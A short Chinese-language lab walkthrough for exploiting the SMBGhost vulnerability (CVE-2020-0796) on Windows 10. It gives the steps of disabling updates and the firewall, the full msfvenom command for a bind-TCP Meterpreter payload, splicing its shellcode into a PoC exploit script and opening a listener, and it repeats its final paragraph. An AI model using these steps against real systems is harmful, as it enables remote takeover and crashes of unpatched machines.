永恒之黑（CVE-2020-0796 WIN10）

1.禁用windows update

2.关闭防火墙

3.通过检测POC，发现主机易攻击

检测POC：

4.在kali中生成木马：

使用msfvenom模块生产木马

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -b 'x00' -i 1 -f python

用生成的shellcode将POC文件里exploit.py中的一部分替换掉，直接复制粘贴，将buf替换成USER_PAYLOAD保存

替换完成

5.开启msf监听

成功开启监听端口：6666

6. 运行exploit.py脚本：

该脚本虽说是远程代码执行脚本，但有可能导致目标ip死机，蓝屏，重启等后果。也有可能目标主机不受到任何影响。如果出现physical read primitive failed，则多次尝试执行exploit.py几次，就会成功了，这个exp是有一定概率的。

该脚本虽说是远程代码执行脚本，但有可能导致目标ip死机，蓝屏，重启等后果。也有可能目标主机不受到任何影响。如果出现physical read primitive failed，则多次尝试执行exploit.py几次，就会成功了，这个exp是有一定概率的。